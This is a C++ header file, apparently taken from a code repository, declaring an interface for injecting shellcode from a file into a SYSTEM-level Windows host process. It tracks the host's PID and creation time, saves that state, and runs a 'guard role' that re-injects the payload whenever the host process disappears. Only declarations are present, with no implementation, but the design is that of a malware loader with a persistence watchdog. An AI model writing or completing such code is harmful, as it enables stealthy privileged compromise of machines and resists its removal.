51 lines
1.3 KiB
C++
51 lines
1.3 KiB
C++
#pragma once
|
|
|
|
#include <windows.h>
|
|
|
|
#include <string>
|
|
|
|
struct HostInjectResult
|
|
{
|
|
bool ok = false;
|
|
DWORD hostPid = 0;
|
|
DWORD hostSession = 0;
|
|
unsigned long long creationTime = 0;
|
|
std::wstring hostImage;
|
|
std::wstring method;
|
|
std::wstring error;
|
|
};
|
|
|
|
struct HostTrack
|
|
{
|
|
DWORD pid = 0;
|
|
unsigned long long creationTime = 0;
|
|
std::wstring payload;
|
|
std::wstring hostImage;
|
|
|
|
bool Tracked() const { return pid != 0 && !payload.empty(); }
|
|
};
|
|
|
|
// Injects the shellcode at 'shellcodePath' into the best SYSTEM host process.
|
|
// Identity is recorded (pid + creation time) so a recycled PID is never treated
|
|
// as the same host.
|
|
HostInjectResult InjectShellcodeIntoHost(
|
|
const std::wstring& shellcodePath,
|
|
const std::wstring& preferredImage,
|
|
bool requireSystem);
|
|
|
|
// True when the tracked pid still exists AND its creation time matches, which
|
|
// rejects PID reuse.
|
|
bool HostStillAlive(const HostTrack& track);
|
|
|
|
bool GetProcessCreateTime(DWORD pid, unsigned long long& out);
|
|
|
|
HostTrack LoadHostTrack();
|
|
bool SaveHostTrack(const HostTrack& track);
|
|
bool ClearHostTrack();
|
|
|
|
// Used by the guard role: re-injects only when the previous host is gone.
|
|
HostInjectResult EnsureHostInjected(bool requireSystem = true);
|
|
|
|
std::wstring FormatInjectResult(const HostInjectResult& r);
|
|
std::wstring FormatHostTrack(const HostTrack& t);
|